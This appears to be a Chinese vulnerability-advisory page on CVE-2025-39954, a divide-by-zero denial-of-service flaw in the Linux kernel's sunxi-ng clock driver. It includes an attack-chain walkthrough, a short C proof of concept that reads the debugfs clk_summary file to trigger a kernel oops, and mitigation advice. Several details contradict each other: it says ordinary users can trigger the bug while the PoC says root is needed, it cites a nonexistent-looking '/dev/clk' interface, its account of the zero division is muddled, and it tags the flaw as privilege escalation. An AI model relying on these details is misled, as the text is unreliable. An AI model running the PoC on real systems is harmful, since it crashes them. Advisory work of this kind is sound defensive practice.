IPBUF安全漏洞报告
English
CVE-2025-39954 CVSS 5.5 中危

CVE-2025-39954 Linux内核sunxi-ng时钟驱动除零漏洞

披露日期: 2025-10-09
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-39954
漏洞类型
除零错误/拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 (clk: sunxi-ng: mp 子模块)

相关标签

Linux内核时钟驱动sunxi-ng除零错误拒绝服务AllwinnerARM内核漏洞本地提权CVE-2025-39954

漏洞概述

CVE-2025-39954是Linux内核中sunxi-ng时钟驱动mp子模块的一个除零漏洞。该漏洞位于时钟子系统的.recalc_rate读回函数中。当引入双分频器(dual-divider)时钟支持时,开发者在重计算速率的函数中遗漏了P分频器偏移量(divider offset)的处理。这导致在调用clk_get_rate()等接口读取时钟频率时,函数返回错误的时钟速率值,甚至返回零值。由于P分频器的值可能为1,在计算过程中会触发除零异常,从而导致内核崩溃或系统不可用。

该漏洞的CVSS评分为5.5,属于中危级别。攻击者需要本地低权限访问即可触发此漏洞,无需用户交互。漏洞的主要影响是系统可用性,机密性和完整性不受影响。受影响的Linux内核版本涉及多个稳定分支,具体版本信息可参考kernel.org上的修复提交。由于该漏洞位于时钟驱动层面,影响所有使用Allwinner(sunxi)系列SoC的平台,包括但不限于各种ARM开发板和嵌入式设备。修复方案已在主线和稳定内核中通过提交25fbbaf515acd13399589bd5ee6de5f35740cef2和40108f69c372af3aea73e7829d6849a44638d662发布。

技术细节

该漏洞的技术根源在于clk: sunxi-ng: mp驱动中双分频器时钟的速率重计算逻辑不完整。在Allwinner SoC的硬件设计中,时钟树包含多个分频器级联结构,其中P分频器(pre-divider)是第一级分频器,M分频器是第二级分频器。当引入dual-divider支持时,.recalc_rate回调函数被修改以处理两级分频器,但开发者遗漏了将P分频器的偏移量纳入最终速率计算公式。

具体而言,正确的速率计算公式应为:rate = parent_rate / (p_div + p_offset) / (m_div + m_offset)。然而,由于遗漏了p_offset,当P分频器的值为1时,计算结果变为parent_rate / 1 / m_div = parent_rate / m_div,看似正常;但当硬件实际配置中P分频器的有效值为0(即寄存器值为0,但实际分频比为1)时,公式退化为parent_rate / 0 / m_div,触发内核除零错误(divide-by-zero),导致oops或panic。

利用方式方面,攻击者需要本地访问权限(PR:L),可以通过以下方式触发:1)编写一个简单的内核模块或用户空间程序(通过/dev/clk等接口),调用clk_get_rate()读取受影响的时钟频率;2)当特定时钟的P分频器寄存器值为0时,内核在重计算速率时触发除零;3)导致内核oops或系统崩溃。该漏洞不需要特殊权限,普通用户即可触发系统拒绝服务。

攻击链分析

STEP 1
步骤1:获取本地访问
攻击者需要获得目标系统的本地访问权限。由于漏洞需要低权限(PR:L),普通用户账户即可满足要求,无需管理员权限。
STEP 2
步骤2:定位受影响的时钟节点
在Allwinner(sunxi)平台的Linux系统中,识别使用sunxi-ng mp驱动的双分频器时钟节点。这些时钟通常包括CPU时钟、DRAM时钟、总线时钟等。
STEP 3
步骤3:触发时钟速率重计算
通过debugfs接口(/sys/kernel/debug/clk/)或调用clk_get_rate()等内核API,触发.recalc_rate回调函数的执行。读取clk_summary文件会强制内核重计算所有已注册时钟的速率。
STEP 4
步骤4:触发除零异常
当受影响的时钟的P分频器寄存器值为0时,ccu_mp_recalc_rate()函数中遗漏的P分频器偏移量导致除零计算,触发内核oops或panic。
STEP 5
步骤5:系统拒绝服务
内核崩溃导致系统不可用,需要重启恢复。由于是高可用性影响(A:H),攻击者可以通过反复触发漏洞造成持续的服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2025-39954 PoC - Trigger divide-by-zero in sunxi-ng mp clock driver * This PoC attempts to trigger the divide-by-zero by reading clock rates * on Allwinner (sunxi) platforms with affected kernel versions. * * Note: Requires access to the clock subsystem (typically root or CAP_SYS_ADMIN). * On affected kernels, reading the rate of a dual-divider clock where the * P divider register value is 0 will trigger a kernel oops/panic. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define CLK_SYSFS_PATH "/sys/kernel/debug/clk" /* Attempt to enumerate and read clock rates via debugfs */ int trigger_clk_readback(void) { /* On affected kernels, reading the rate of clocks using the * sunxi-ng mp dual-divider hardware will trigger a divide-by-zero * in ccu_mp_recalc_rate() when the P divider register is 0. * * The vulnerable code path is in: * drivers/clk/sunxi-ng/ccu_mp.c -> ccu_mp_recalc_rate() * * The fix adds the missing P divider offset to the calculation: * rate = parent_rate / (p_div + p_offset) / (m_div + m_offset) */ printf("Triggering clock rate readback on sunxi platform...\n"); /* Simple trigger: read /sys/kernel/debug/clk/ contents or * use clk_summary to force recalc_rate on all clocks */ int fd = open("/sys/kernel/debug/clk/clk_summary", O_RDONLY); if (fd < 0) { perror("open clk_summary"); return -1; } char buf[4096]; /* Reading clk_summary triggers .recalc_rate on all registered clocks */ read(fd, buf, sizeof(buf) - 1); close(fd); printf("Clock readback completed. Check kernel logs for oops.\n"); return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-39954 PoC - sunxi-ng mp divide-by-zero\n"); return trigger_clk_readback(); }

影响范围

Linux kernel < 6.17 (受影响的稳定分支)
Linux 6.6.x 系列(已修复)
Linux 6.12.x 系列(已修复)
Linux 6.15.x 系列(已修复)
所有使用clk-sunxi-ng mp驱动的Allwinner SoC平台

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户对/sys/kernel/debug/clk/目录的访问权限,仅允许root用户读取时钟信息;2)在生产系统中禁用debugfs,通过修改/etc/fstab移除debugfs挂载项;3)监控系统日志,设置内核oops告警,及时发现异常;4)对于多用户系统,限制普通用户的shell访问权限,减少本地攻击面;5)如果使用systemd,可以通过ProtectKernelTunables等安全选项限制用户对内核接口的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表